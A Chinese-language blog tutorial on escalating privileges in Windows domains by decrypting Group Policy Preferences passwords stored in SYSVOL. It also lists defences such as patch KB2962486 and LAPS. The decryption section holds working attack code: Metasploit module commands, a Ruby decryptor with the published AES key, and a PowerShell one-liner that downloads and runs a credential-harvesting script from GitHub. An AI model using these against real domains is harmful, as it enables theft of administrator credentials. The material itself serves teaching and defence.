windows提权--组策略首选项提权
组策略首选项提权
Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,批量修改域内机器的本地管理员账号名称与密码。
组策略的发展
域环境下密码难题:
在Windows server 2003中,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式
strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
这种方式十分简便,但也存在着极大的弊端,弊端在于修改后的密码会明文保存在vbs脚本中 而该vbs脚本通常会保存在共享文件夹SYSVOL。这就存在一个隐患: 任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码。
SYSVOL:
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
c:\Windows\SYSVOL\domain\Policies
域内机器通过访问如下,就能访问到组策略存储位置
\\域控ip\SYSVOL\域名\Policies\
组策略偏好GPP
在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与win2008发布了GPP(Group Policy Preferences)。其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:
映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。
通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。
组策略首选项提权的实现
域控的组策略中新建dc_admin组策略
编辑新建的dc_admin ,如下进行新建
将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码Aa123456
确定后添加domain computers
更新组策略
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件
组策略密码解密
1、MSF下的GGP解密
msf > use post/windows/gather/credentials/gpp
msf>post/windows/gather/credentials/gpp>sessions
msf>post/windows/gather/credentials/gpp> set SESSION 1
msf>post/windows/gather/credentials>show options
msf>post/windows/gather/credentials/gpp> run
2、 ruby脚本
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
3、kali
gpp -decrypt xxxxxx
4、powershell脚本:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
防御措施:
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
设置共享文件夹SYSVOL的访问权限
将包含组策略密码的XML文件从 SYSVOL 目录中删除
不要把密码放在所有域用户都有权访问的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS
参考文献:https://blog.csdn.net/liu_jia_liang/article/details/123202320
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通